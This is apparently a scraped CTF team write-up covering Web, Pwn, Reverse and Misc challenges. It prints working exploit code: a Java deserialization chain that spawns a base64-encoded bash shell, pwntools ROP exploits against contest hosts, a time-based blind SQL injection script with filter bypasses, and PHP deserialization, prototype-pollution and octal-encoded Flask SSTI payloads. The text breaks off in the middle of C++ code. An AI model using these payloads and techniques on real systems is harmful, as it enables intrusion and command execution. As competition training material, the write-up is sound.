setFieldValue(templates, \u0026#34;_bytecodes\u0026#34;, new byte[][]{ ClassPool.getDefault().get(fucktemplate.class.getName()).toBytecode() }); setFieldValue(templates, \u0026#34;_name\u0026#34;, \u0026#34;fucktemplate\u0026#34;); setFieldValue(templates, \u0026#34;_class\u0026#34;, null); JSONObject jsonObject = new JSONObject(); jsonObject.put(\u0026#34;jb\u0026#34;, templates); HashMap\u0026lt;Object, Object\u0026gt; s = new HashMap\u0026lt;\u0026gt;(); setFieldValue(s, \u0026#34;size\u0026#34;, 2); Class\u0026lt;?\u0026gt; nodeC; try { nodeC = Class.forName(\u0026#34;java.util.HashMap$Node\u0026#34;); } catch ( ClassNotFoundException e ) { nodeC = Class.forName(\u0026#34;java.util.HashMap$Entry\u0026#34;); } Constructor\u0026lt;?\u0026gt; nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject); HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString(\u0026#34;xxx\u0026#34;)); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, \u0026#34;table\u0026#34;, tbl); try{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream); outputStream.writeObject(s); System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),\u0026#34;UTF-8\u0026#34;)); outputStream.close(); }catch(Exception e){ e.printStackTrace(); } } } fucktemplate部分：\npackage com.example; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class fucktemplate extends AbstractTranslet { public fucktemplate() { super(); try { Runtime.getRuntime().exec(\u0026#34;bash -c {echo,YmFzaCAtaS***==}|{base64,-d}|{bash,-i}\u0026#34;); }catch (Exception e){ e.printStackTrace(); } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } Pwn babycalc z3解方程\nfrom z3 import * v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18=Ints(\u0026#39;v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18\u0026#39;) solver = Solver() solver.add(v5 * v4 * v3 - v6 == 0x8D56) solver.add(v3 == 0x13) solver.add(v5 * 0x13 * v4 + v6 == 0x8DE2) solver.add((v13 + v3 - v8) * v16 == 0x8043) solver.add((v5 + v4 * v3) * v6 == 0xC986) solver.add(v9 * v8 * v7 - v10 == 0xF06D) solver.add(v10 * v15 + v4 + v18 == 0x4A5D) solver.add(v9 * v8 * v7 + v10 == 0xF1AF) solver.add((v8 * v7 - v9) * v10 == 0x8E03D) solver.add(v11 == 0x32) solver.add((v9 + v8 * v7) * v10 == 0x8F59F) solver.add(v13 * v12 * v11 - v14 == 0x152FD3) solver.add(v13 * v12 * v11 + v14 == 0x15309D) solver.add((v12 * v11 - v13) * v14 == 0x9C48A) solver.add((v11 * v5 - v16) * v12 == 0x4E639) solver.add((v13 + v12 * v11) * v14 == 0xA6BD2) solver.add(v17 * v16 * v15 - v18 == 0x8996D) solver.add(v17 * v16 * v15 + v18 == 0x89973) solver.add(v14 == 0x65) solver.add((v16 * v15 - v17) * v18 == 0x112E6) solver.add((v17 + v16 * v15) * v18 == 0x11376) print(solver.check()) print(solver.model()) 输入0x100字节能覆盖rbp的最低位为零，这个地址有几率落在buf里。buf溢出控制i能实现向前无数字节改写和向后一字节改写，改写返回地址为一个leave ret指令栈迁移泄露libc然后返回0x400c1b再来一次栈迁移执行system(\u0026rsquo;/bin/sh')\nfrom pwn import * #from LibcSearcher import * context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.log_level = \u0026#39;debug\u0026#39; p=remote(\u0026#39;tcp.cloud.dasctf.com\u0026#39;,24101) #p=process(\u0026#39;./babycalc\u0026#39;) elf=ELF(\u0026#39;./babycalc\u0026#39;) #gdb.attach(p) v=[19,36,53,70,55,66,17,161,50,131,212,101,118,199,24,3] s=b\u0026#39;\u0026#39; for i in v: s+=i.to_bytes(1,\u0026#39;little\u0026#39;) print(s) ret_addr=0x400c19 pop_rdi=0x400ca3 payload=b\u0026#39;24\u0026#39;+b\u0026#39;\\x00\u0026#39;*6+p64(ret_addr)*21+p64(pop_rdi)+p64(elf.got[\u0026#39;puts\u0026#39;])+p64(elf.plt[\u0026#39;puts\u0026#39;])+p64(0x400c1b)+s+b\u0026#39;\\x00\u0026#39;*28+b\u0026#39;\\x38\u0026#39;+b\u0026#39;\\x00\\x00\\x00\u0026#39; p.sendafter(b\u0026#39;number-1:\u0026#39;,payload) p.recvuntil(b\u0026#39;good done\\n\u0026#39;) #leak libc x=p.recvuntil(b\u0026#39;\\n\u0026#39;)[:-1].ljust(8,b\u0026#39;\\x00\u0026#39;) puts_addr=u64(x) print(hex(u64(x))) #libc=LibcSearcher(\u0026#34;puts\u0026#34;,puts_addr) libcbase=u64(x)-0x06f6a0 print(hex(libcbase)) #system(\u0026#39;/bin/sh\u0026#39;) system_addr=libcbase+0x0453a0 bin_sh_addr=libcbase+0x18ce57 shellcode=b\u0026#39;24\u0026#39;+b\u0026#39;\\x00\u0026#39;*6+p64(ret_addr)*22+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+s+b\u0026#39;\\x00\u0026#39;*28+b\u0026#39;\\x38\u0026#39;+b\u0026#39;\\x00\u0026#39;*3 p.send(shellcode) #p.recvuntil(b\u0026#39;good done\\n\u0026#39;) p.interactive() #pause() Message Board 给了一个只能用一次的格式化字符串，一个长度足够长溢出0x10字节的栈可以用来做frame faking，泄露libc，题目中有沙箱，构造orw拿到flag\nfrom pwn import * import sys context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./pwn\u0026#34;) libc = ELF(\u0026#34;/lib/x86_64-linux-gnu/libc-2.31.so\u0026#34;) else: p = remote(\u0026#34;tcp.cloud.dasctf.com\u0026#34;, 23625) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) def debugf(b=0): if debug: if b: # gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) gdb.attach(p,\u0026#34;b *({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) elf = ELF(\u0026#39;./pwn\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) # debugf(0x401373) pop_rdi = 0x0000000000401413 pop_rsi = 0x0000000000401411 p.send(b\u0026#34;%p\u0026#34;) p.recvuntil(\u0026#34;Hello, \u0026#34;) stack_address=int(p.recvuntil(\u0026#34;N\u0026#34;)[:-1].decode(),16) print(hex(stack_address)) # u64([-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) leave = 0x4013A2 payload = p64(pop_rdi) + p64(0x404028) + p64(0x4010E0) + p64(0x401150) + b\u0026#34;e\u0026#34;*0x90 + p64(stack_address + 0x8) + p64(leave) p.send(payload) libc.address = u64(p.recvuntil(\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;puts\u0026#34;] print(hex(libc.address)) payload2 = p64(pop_rdi) + p64(0x4040B0) + p64(libc.sym[\u0026#34;gets\u0026#34;]) + p64(0x401150) + b\u0026#34;e\u0026#34;*0x90 + p64(stack_address -0x180 + 0x8) + p64(leave) p.send(payload2) p.recvuntil(\u0026#34;Successfully~\u0026#34;) p.send(b\u0026#34;./flag\\x00\\x00\\n\u0026#34;) payload3 = p64(pop_rdi) + p64(0x4040b0) + p64(pop_rsi) + p64(0)*2 + p64(libc.sym[\u0026#34;open\u0026#34;]) + p64(0x401150)+ b\u0026#34;e\u0026#34;*0x78 + p64(stack_address -0x300 + 0x8) + p64(leave) # payload = p64(pop_rdi) + p64(0x404028) + p64(0x4010E0) + p64(0x401150) + b\u0026#34;e\u0026#34;*0x90 + p64(stack_address - 0x300 + 0x8) + p64(leave) # p.send(payload) p.send(payload3) payload4 = p64(0x40140A) + p64(0) + p64(1) + p64(3) + p64(0x4040e0) + p64(0x40) + p64(0x404048) + p64(0x4013F0) + b\u0026#34;a\u0026#34;*56 payload4 += p64(pop_rdi) + p64(1) + p64(libc.sym[\u0026#34;write\u0026#34;]) payload4 += p64(0x401150)+ b\u0026#34;e\u0026#34;*0x18 + p64(stack_address -0x460 + 0x8) + p64(leave) print(len(payload4)) print(len(payload3)) p.send(payload4) p.interactive() Reverse Dual personality 程序设计了天堂之门转换架构，在函数401120后会从x86架构转为x64,同时函数401120会处理地址407050，将其填为一个给定的函数地址 那么分析整个main函数的流程（4013a0~4015ee）可得： 4013d4在x86架构下进行了输入操作； 4013e3在x64架构下将后文将要用到的值（这里称作delta）做了初始化； 4013f4~40144a在x86架构下进行了第一次加密； 401455在x64架构下进行了第二次加密（做循环左移）； 401462在x64架构下对异或的key进行处理； 40146e~4014ba在x64架构下进行了第三次加密（异或）； 最后与已知密文进行了比较。 按照流程逆序写出解密过程即可\ncipher=[0x0AA,0x4F,0x0F,0x0E2,0x0E4,0x41,0x99,0x54,0x2C,0x2B,0x84,0x7E,0x0BC,0x8F,0x8B,0x78,0x0D3,0x73,0x88,0x5E,0x0AE,0x47,0x85,0x70,0x31,0x0B3,0x9,0x0CE,0x13,0x0F5,0x0D,0x0CA] print(len(cipher)) key=[0x9d,0x44,0x37,0xb5] key[0]\u0026amp;=key[1] key[1]|=key[2] key[2]^=key[3] key[3]=(~key[3])\u0026amp;0xff for i in range(32): cipher[i]^=key[i%4] def ror(a,b,c=64): return (a\u0026gt;\u0026gt;b)|((a\u0026lt;\u0026lt;(c-b))\u0026amp;((1\u0026lt;\u0026lt;c)-1)) cipher=[int.from_bytes(bytes(cipher[i:i+8]),\u0026#39;little\u0026#39;) for i in range(0,32,8)] cipher[0]=ror(cipher[0],12) cipher[1]=ror(cipher[1],34) cipher[2]=ror(cipher[2],56) cipher[3]=ror(cipher[3],14) cipher=b\u0026#39;\u0026#39;.join([i.to_bytes(8,\u0026#39;little\u0026#39;) for i in cipher]) delta=0x5DF966AE-0x21524111 cipher=[int.from_bytes(cipher[i:i+4],\u0026#39;little\u0026#39;) for i in range(0,32,4)] for i in range(8): delta_next=delta^cipher[i] cipher[i]-=delta cipher[i]\u0026amp;=0xffffffff delta=delta_next text=b\u0026#39;\u0026#39;.join([i.to_bytes(4,\u0026#39;little\u0026#39;) for i in cipher]) print(text) Berkeley 程序包含调试信息，注释中含有源码。提取ebpf字节码逆向发现和源码对应。加密逻辑十分简单，直接Z3求解。\nkey_hex = \u0026#39;C1D10261D6F713A29B20D04A8F7FEEB9006334B033B78A8B94602E8E21FF9082D587967822B6486C45C75A1680FDE48CBF011F4B7924A0B4234D3BC55D6F0DC9D4CA55E039AD2BCD2CECC26B30E60CA89A2FF6E8BB3257FB0B9DF23FB5F959E510CF5141E950DF267458CB645473ABF4B29F18F84EFE081D4F49D3AC3812771169071C99B3E73D05D8FC704693096589B1C652FAD20EA917E391A1685B2AF0C342CC29DEDC8598315CBC2DEF5E7EAF6762A75688A44340E1379E36767184BD068D477D53D7C8CE1592954C286D75EB7CF3BEAAB8ED033C273E19DDA666251EC46EC0E2DB3AD981A51BF504AEBAEA97833544A37A1AF186DA7B14729C6A0F5F0A00\u0026#39; key = bytearray.fromhex(key_hex) cipher_hex = \u0026#39;F327471B8F09FB177048B05332DBC0B8632D404BF516F035E7DFEAA29C41B325D70C339C7B5ACD13BBEE3E0EF2CF35DAAFA2667D3837671E1F6B7B300B7A02A9C8612741DB0122316FB6D41B04D394B846C724CFBDAF0BDC2EBBB271F4995736D1955292BA6DF33050599BEA2F83DCF0DE57A1ACD251A21D59A800B6E265410C4FEBF02E582A1FF49572887CA90ECB3C42B9F3499B529812A31751C059400ABCE84C04FB130A173FE63697DFB3E2427FF8CC0ED177C4A84648E3F10AEF9456545BCABDDD7F5647C299FA89CCE1B93A78E23758011BC34BE68CF3E5B6719E63AF11CE87F66EDEC8B1D07A156C1008997B2255107A8273FC62CB34A7B762FA6B9F\u0026#39; cipher = bytearray.fromhex(cipher_hex) fake_cipher_hex = \u0026#39;2095209580AAFFC04AAE8A5C0D8D1F6D0D8DA215EEF34DC87F7523CED150C1DF\u0026#39; fake_cipher = bytearray.fromhex(fake_cipher_hex) from z3 import * s = Solver() flag = [BitVec((\u0026#39;x%d\u0026#39; % i), 8) for i in range(32)] arr = [BitVec((\u0026#39;arr%d\u0026#39; % i), 8) for i in range(8)] for i in range(256): idx1 = key.index(cipher[i]) ^ key[i] idx2 = key.index(idx1) uc1 = flag[i//8] uc2 = (~(flag[i//8] + arr[i%8]))\u0026amp;0xff s.add(uc1 ^ uc2 == idx2) for i in range(32): s.add(flag[i] \u0026gt;= 47) s.add(flag[i] \u0026lt;=122) if s.check()==sat: print(\u0026#34;sat\u0026#34;) for i in range(32): print(str(s.model()[flag[i]])+ \u0026#39;, \u0026#39;, end=\u0026#39;\u0026#39;) print(\u0026#39;\u0026#39;) l = [55, 49, 99, 50, 97, 99, 57, 56, 97, 99, 56, 100, 57, 57, 97, 50, 101, 56, 97, 57, 53, 49, 49, 49, 52, 52, 57, 97, 55, 51, 57, 51] res = \u0026#39;\u0026#39; for i in range(len(l)): res += chr(l[i]) print(res) BabyRE 此程序在preinitialize阶段就完成了整个流程，分析40615c所在的三个函数即可 401000输入，并用atexit存了一个rc4加密的函数 401050做初始化，并用atexit存了一个sha1算法 4010c0用atexit存了一个base编码算法 按照atexit的性质，它们应当从后往前执行，即先编码，再做sha1（但此处的sha1仅是一个校验，并不算中间过程），再进行rc4. 经过分析可知，rc4加密的密钥由输入得来，当输入超过42个字符时，超出的六个字符即是rc4的密钥 根据输入限制，密钥在0~9之间，且后96位的明密文对是已知的，直接爆破\ns=[i for i in range(256)] cipher=[0x3F, 0x95, 0xBB, 0xF2, 0x57, 0xF1, 0x7A, 0x5A, 0x22, 0x61, 0x51, 0x43, 0xA2, 0xFA, 0x9B, 0x6F, 0x44, 0x63, 0xC0, 0x08, 0x12, 0x65, 0x5C, 0x8A, 0x8C, 0x4C, 0xED, 0x5E, 0xCA, 0x76, 0xB9, 0x85, 0xAF, 0x05, 0x38, 0xED, 0x42, 0x3E, 0x42, 0xDF, 0x5D, 0xBE, 0x05, 0x8B, 0x35, 0x6D, 0xF3, 0x1C, 0xCF, 0xF8, 0x6A, 0x73, 0x25, 0xE4, 0xB7, 0xB9, 0x36, 0xFB, 0x02, 0x11, 0xA0, 0xF0, 0x57, 0xAB, 0x21, 0xC6, 0xC7, 0x46, 0x99, 0xBD, 0x1E, 0x61, 0x5E, 0xEE, 0x55, 0x18, 0xEE, 0x03, 0x29, 0x84, 0x7F, 0x94, 0x5F, 0xB4, 0x6A, 0x29, 0xD8, 0x6C, 0xE4, 0xC0, 0x9D, 0x6B, 0xCC, 0xD5, 0x94, 0x5C, 0xDD, 0xCC, 0xD5, 0x3D, 0xC0, 0xEF, 0x0C, 0x29, 0xE5, 0xB0, 0x93, 0xF1, 0xB3, 0xDE, 0xB0, 0x70] mid=[0]*16+[0x31, 0x36, 0x32, 0x33, 0x30, 0x34, 0x36, 0x35, 0x31, 0x35, 0x32, 0x33, 0x33, 0x34, 0x36, 0x32, 0x31, 0x34, 0x34, 0x33, 0x31, 0x34, 0x37, 0x31, 0x31, 0x35, 0x30, 0x33, 0x31, 0x30, 0x37, 0x30, 0x31, 0x35, 0x30, 0x33, 0x32, 0x30, 0x37, 0x31, 0x31, 0x36, 0x30, 0x33, 0x32, 0x30, 0x36, 0x33, 0x31, 0x34, 0x30, 0x33, 0x33, 0x34, 0x36, 0x36, 0x31, 0x35, 0x34, 0x33, 0x34, 0x34, 0x36, 0x31, 0x31, 0x34, 0x34, 0x33, 0x34, 0x30, 0x36, 0x36, 0x31, 0x34, 0x32, 0x33, 0x30, 0x34, 0x36, 0x36, 0x31, 0x35, 0x36, 0x33, 0x34, 0x34, 0x36, 0x36, 0x31, 0x35, 0x34, 0x33, 0x30, 0x34, 0x36, 0x34] # 枚举6位十进制的key for j1 in range(0x30,0x3a): for j2 in range(0x30,0x3a): for j3 in range(0x30,0x3a): for j4 in range(0x30,0x3a): for j5 in range(0x30,0x3a): for j6 in range(0x30,0x3a): key=[j1,j2,j3,j4,j5,j6] v6=0 for i in range(256): s[i]=i for i in range(256): v6=(v6+key[i%6]+s[i])%256 s[i],s[v6]=s[v6],s[i] flag=1 v7,v6=0,0 for i in range(112): v7=(v7+1)%256 v6=(v6+s[v7])%256 s[v7],s[v6]=s[v6],s[v7] if i\u0026lt;16: continue if cipher[i]^s[(s[v6]+s[v7])%256]!=mid[i]: flag=0 break if flag==1: print(j1,j2,j3,j4,j5,j6) exit(0) 得到密钥[56,48,55,51,57,49]，再进行常规的解密即可\ndef base83decode(num): bina=\u0026#39;\u0026#39; for i in num: bina+=bin(int(chr(i)))[2:].rjust(3,\u0026#39;0\u0026#39;) return [int(bina[i:i+8],2) for i in range(0,len(bina),8)] key=[56,48,55,51,57,49] for i in range(256): s[i]=i v6=0 for i in range(256): v6=(v6+key[i%6]+s[i])%256 s[i],s[v6]=s[v6],s[i] v7,v6=0,0 for i in range(112): v7=(v7+1)%256 v6=(v6+s[v7])%256 s[v7],s[v6]=s[v6],s[v7] cipher[i]^=s[(s[v6]+s[v7])%256] txt=base83decode(cipher) print(bytes(txt+key)) Misc 签到 使用HexEditor查看图片发现尾部有汉字编码，向公众号发送“西湖论剑2023我来了！”得到flag。\nmp3 HexEditor查看MP3文件发现png格式头89504E47。 提取图片，Stegsolve查看lsb隐写，发现任意勾选三通道之一可以解出一个zip压缩包。 提取压缩包数据发现已被加密，mp3stego查看mp3文件中是否含有隐写，这里存在非预期：输入任意passphrase都可以分离出包含压缩包口令的txt文件，最终得到压缩包口令8750d5109208213f。 解压得到47.txt，猜测内容经过了ROT47处理，还原得到一串JJEncode混淆编码，输入chrome控制台拿到flag。\n","date":"2023-01-31T10:00:00+08:00","permalink":"https://or4ngesec.github.io/post/xhlj-writeup-by-or4nge/","title":"西湖论剑 Writeup by or4nge"},{"content":"Web ezus 第一层，使用中文绕过basename即可。​ http://172.51.223.142/index.php/tm.php/%E6%88%91?source​ 第二层的目标是进@include，读hint.php。​ 三个需要绕过的东西：构建反序列化受限用字符逃逸，wakeup用增加属性数，strpos用路径穿越。\nusername=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@\u0026amp;password=\u0026#34;;s:11:\u0026#34;%00*%00password\u0026#34;;O:5:\u0026#34;order\u0026#34;:3:{s:1:\u0026#34;f\u0026#34;;s:83:\u0026#34;php://filter/read=convert.base64-encode/resource=/var/www/html/pass/../try/../index\u0026#34;;s:4:\u0026#34;hint\u0026#34;;s:16:\u0026#34;http://locathost\u0026#34;;}}}​ 第三层，用一个不存在的协议名绕parse_url（parse_url会解析出host，但file_get_contents会将其解析为路径），路径穿越读取即可。​\nusername=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@\u0026amp;password=\u0026#34;;s:11:\u0026#34;%00*%00password\u0026#34;;O:5:\u0026#34;order\u0026#34;:3:{s:1:\u0026#34;f\u0026#34;;s:82:\u0026#34;php://filter/read=convert.base64-encode/resource=/var/www/html/pass/../try/../hint\u0026#34;;s:4:\u0026#34;hint\u0026#34;;s:46:\u0026#34;0://prankhub/../../../../../f1111444449999.txt\u0026#34;;}}} Popsql 时间盲注，但过滤了非常多的东西。​ sleep被过滤，用benchmark替代，进行延时。​ username=admin\u0026amp;password='/**/or/**/if(1,benchmark(1000000000,1),1)#（验证时间盲注存在） =，like，regexp全没了，用取模运算代替，进行逐字符判断；​ ascii被过滤了，用ord代替；​ substr、left被过滤了，用right代替。​ 此时若提取出的字符是不是模数的倍数，则不会延时，否则会延时。因为这样会时间特别长，在外面加个not。 username=admin\u0026amp;password='/**/or/**/if((not(select(ord(right(database(),%d)))%%(%d))),benchmark(1000000000,1),1)#\u0026quot; % (i,j)（获取数据库名 ctfgame）​ username=admin\u0026amp;password='/**/or/**/if((not(select(ord(right(version(),%d)))%%(%d))),benchmark(1000000000,1),1)#\u0026quot; % (i,j)（获取版本号 5.7.39）​ information被滤，使用sys.schema_table_statistics_with_buffer库获取表名。​ username=admin\u0026amp;password='/**/or/**/if(not((select/**/ord(right(group_concat(table_name),%d))%%(%d)/**/from/**/sys.schema_table_statistics_with_buffer)),benchmark(1000000000,1),1)#\u0026quot; % (i,j) （获取表名 Fl49ish3re）​ 尝试无列名注入，但没有union；赌表里只有一列，发现不是。​ username=admin\u0026amp;password='/**/or/**/if((ord(right((select/**/*/**/from/**/Fl49ish3re/**/limit/**/0,1),1))%(52)),benchmark(1000000000,1),1);（表里只有一列情况下的无列名注入）​ 网上搜索，找到flag所处的列名f1aG123​ https://hwwg.github.io/2021/09/17/2021%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B4%E5%A4%A7%E8%B5%9B/​ 获取flag。​ \u0026quot;username=admin\u0026amp;password='/**/or/**/if(not(ord(right((select/**/group_concat(f1aG123)/**/from/**/Fl49ish3re),%d))%%(%d)),benchmark(1000000000,1),1)#\u0026quot; % (i, ord(j))\nimport time​ ​ import requests​ import string​ ​ headers = {\u0026#34;Content-Type\u0026#34;:\u0026#34;application/x-www-form-urlencoded\u0026#34;}​ url=\u0026#34;http://172.51.223.119/index.php\u0026#34;​ proxy={\u0026#34;http\u0026#34;:\u0026#34;http://127.0.0.1:8080\u0026#34;}​ result=\u0026#34;\u0026#34;​ ​ record=0​ s=string.digits+string.ascii_letters+\u0026#34;{}_\u0026#34;​ for i in range(1,200):​ for j in s:​ #data = \u0026#34;username=admin\u0026amp;password=\u0026#39;/**/or/**/if(1,benchmark(1000000000,1),1)#\u0026#34;​ #data = \u0026#34;username=admin\u0026amp;password=\u0026#39;/**/or/**/if((not(select(ord(right(database(),%d)))%%(%d))),benchmark(1000000000,1),1)#\u0026#34; % (i,j)​ #data = \u0026#34;username=admin\u0026amp;password=\u0026#39;/**/or/**/if((not(select(ord(right(version(),%d)))%%(%d))),benchmark(1000000000,1),1)#\u0026#34; % (i,j)​ #data = \u0026#34;username=admin\u0026amp;password=\u0026#39;/**/or/**/if(not((select/**/ord(right(group_concat(table_name),%d))%%(%d)/**/from/**/sys.schema_table_statistics_with_buffer)),benchmark(1000000000,1),1)#\u0026#34; % (i,j)​ ##data = \u0026#34;username=admin\u0026amp;password=\u0026#39;/**/or/**/if((select/**/ord(right(group_concat(concat(table_name,column_name)),%d))%%(%d)/**/from/**/sys.schema_auto_increment_columns),benchmark(1000000000,1),1)#\u0026#34; % (i, j)​ data=\u0026#34;username=admin\u0026amp;password=\u0026#39;/**/or/**/if(not(ord(right((select/**/group_concat(f1aG123)/**/from/**/Fl49ish3re),%d))%%(%d)),benchmark(1000000000,1),1)#\u0026#34; % (i, ord(j))​ t = time.time()​ #req=requests.post(url,data=data,proxies=proxy,headers=headers)​ req = requests.post(url, data=data,headers=headers)​ if time.time()-t\u0026gt;1:​ record = ord(j)​ break​ print(data)​ print(time.time() - t)​ ​ result+=chr(record)​ print(result) WHOYOUARE 原型链污染​ payload：\n{\u0026#34;user\u0026#34;:\u0026#34;{\\\u0026#34;constructor\\\u0026#34;:{\\\u0026#34;prototype\\\u0026#34;:{\\\u0026#34;1\\\u0026#34;:\\\u0026#34;cat /flag\\\u0026#34;}},\\\u0026#34;command\\\u0026#34;:[]}\u0026#34;} 污染source的原型，在key=1时通过source原型的值覆盖原来那个[-c,id]里面的id为自己的可控命令，实现任命令执行。​\nrequest.user = { username: \u0026#39;guest\u0026#39;, command: [ \u0026#39;-c\u0026#39;, \u0026#39;cat /flag\u0026#39; ] } 没有人比我更懂py​ flask_SSTI注入，过滤了所有字母。​ 八进制绕过即可，剩下的和NewStar新生赛第四周那题差不多。\nx=\u0026#34;原始payload\u0026#34;​ y=\u0026#39;\u0026#39;​ s=string.ascii_letters​ for i in range(len(x)):​ if x[i] in s:​ y+=\u0026#39;\\%o\u0026#39; % ord(x[i])​ else:​ y+=x[i]​ print(y) {{\u0026#39;\u0026#39;[\u0026#39;__\\143\\154\\141\\163\\163__\u0026#39;][\u0026#39;__\\142\\141\\163\\145\\163__\u0026#39;][\u0026#39;__\\147\\145\\164\\151\\164\\145\\155__\u0026#39;](0)[\u0026#39;__\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163__\u0026#39;]()[\u0026#39;__\\147\\145\\164\\151\\164\\145\\155__\u0026#39;](132)[\u0026#39;__\\151\\156\\151\\164__\u0026#39;][\u0026#39;__\\147\\154\\157\\142\\141\\154\\163__\u0026#39;][\u0026#39;__\\147\\145\\164\\151\\164\\145\\155__\u0026#39;](\u0026#39;\\160\\157\\160\\145\\156\u0026#39;)(\u0026#39;\\143\\141\\164 /\\146\\154\\141\\147\u0026#39;)[\u0026#39;\\162\\145\\141\\144\u0026#39;]()}} Pwn bfbf from pwn import *​ import sys​ # context.log_level = \u0026#34;debug\u0026#34;​ ​ if len(sys.argv) \u0026lt; 2:​ debug = True​ else:​ debug = False​ ​ if debug:​ p = process(\u0026#39;./pwn\u0026#39;)​ libc = ELF(\u0026#34;/lib/x86_64-linux-gnu/libc.so.6\u0026#34;)​ else:​ p = remote(\u0026#34;172.51.223.12\u0026#34;, 9999)​ libc = ELF(\u0026#34;./libc.so.6\u0026#34;)​ ​ ru = lambda x : p.recvuntil(x)​ sn = lambda x : p.send(x)​ rl = lambda : p.recvline()​ sl = lambda x : p.sendline(x)​ rv = lambda x : p.recv(x)​ sa = lambda a,b : p.sendafter(a,b)​ sla = lambda a,b : p.sendlineafter(a, b)​ ​ def debugf(b=0):​ if debug:​ if b:​ gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b)))​ else:​ gdb.attach(p)​ ​ context.log_level = \u0026#39;debug\u0026#39;​ main_ret = 0x1982​ main_read = 0x17e3​ ​ rl()​ ​ payload = b\u0026#39;\u0026#39;​ payload += b\u0026#39;\u0026gt;\u0026#39; * (0x228-3*8)​ ​ ​ ​ payload += b\u0026#39;\u0026gt;\u0026#39; * (4*8)​ payload += b\u0026#39;\u0026gt;\u0026#39; * 0x8​ # libc​ payload += b\u0026#39;.\u0026#39;​ for i in range(5):​ payload += b\u0026#39;\u0026gt;\u0026#39;​ payload += b\u0026#39;.\u0026#39;​ payload += b\u0026#39;\u0026gt;\u0026#39; * 3​ ​ payload += b\u0026#39;\u0026lt;\u0026#39;*8​ ​ payload += b\u0026#39;,\u0026gt;\u0026#39;*(8* 30)​ # payload += b\u0026#39;\u0026lt;\u0026#39; *0x58​ ​ debugf(0x1982)​ # raw_input(\u0026#39;\u0026gt; \u0026#39;)​ sl(payload)​ sleep(1)​ leak = u64(rv(6) + b\u0026#39;\\x00\u0026#39;*2)​ libc.address = leak -0x24083​ warning(hex(libc.address))​ r12_ret = 0x000000000002f709 + libc.address​ rdi_ret = 0x0000000000023b6a+libc.address​ rsi_ret = 0x000000000002601f + libc.address​ one = 0xe3afe + libc.address​ ret = 0x0000000000022679 + libc.address​ rcx_rbx = 0x000000000010257e+libc.address​ rdx_ret = 0x0000000000142c92 + libc.address​ binsh = next(libc.search(b\u0026#39;/bin/sh\\x00\u0026#39;))​ flag = libc.address + 0x1ec000 + 0x100​ rax = 0x0000000000036174 + libc.address​ syscall = 0x00000000000630a9 + libc.address​ ​ ​ pay = p64(rdi_ret) + p64(0) ​ pay += p64(rsi_ret) + p64(flag)​ pay += p64(rdx_ret) + p64(8)​ pay += p64(rax) + p64(0)​ pay += p64(syscall)​ ​ pay += p64(rdi_ret) + p64(flag) ​ pay += p64(rsi_ret) + p64(0)​ pay += p64(rdx_ret) + p64(0)​ pay += p64(rax) + p64(2)​ pay += p64(syscall)​ ​ pay += p64(rdi_ret) + p64(1) ​ pay += p64(rsi_ret) + p64(3)​ pay += p64(rdx_ret) + p64(0x0)​ pay += p64(rcx_rbx) + p64(0x20)*2​ pay += p64(rax) + p64(0x28)​ pay += p64(syscall)​ ​ p.send(pay)​ p.send(b\u0026#39;flag\\x00\\n\u0026#39;)​ # p.sendline(\u0026#39;cat flag\u0026#39;)​ ​ p.interactive() Misc welcome 签到，复制粘贴。​\nS3qUenCEs​ 序列按照模k划分等价类，可以推导出一次操作会让所有等价类的其中一位取反，即让等价类的全部奇偶性整体改变，故分类讨论最终取反数量是奇数还是偶数，在等价类内排序贪心取数即可。​\n#include\u0026lt;bits/stdc++.h\u0026gt;​ using namespace std;​ #define mem(a,b) memset(a,b,sizeof(a))​ typedef long long LL;​ typedef pair\u0026lt;int,int\u0026gt; PII;​ #define X first​ #define Y second​ inline LL read()​ {​ LL x=0,f=1;char c=getchar();​ while(!isdigit(c)){if(c==\u0026#39;-\u0026#39;)f=-1;c=getchar();}​ while(isdigit(c)){x=x*10+c-\u0026#39;0\u0026#39;;c=getchar();}​ return x*f;​ }​ const int maxn=1000010;​ int n,k;​ LL 